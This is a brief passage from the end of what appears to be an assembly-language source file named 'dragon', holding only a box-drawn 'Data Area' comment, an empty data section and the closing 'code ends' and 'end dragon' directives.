;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û *** Data Area *** Û
|
||
;Û End Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
code ends
|
||
end dragon |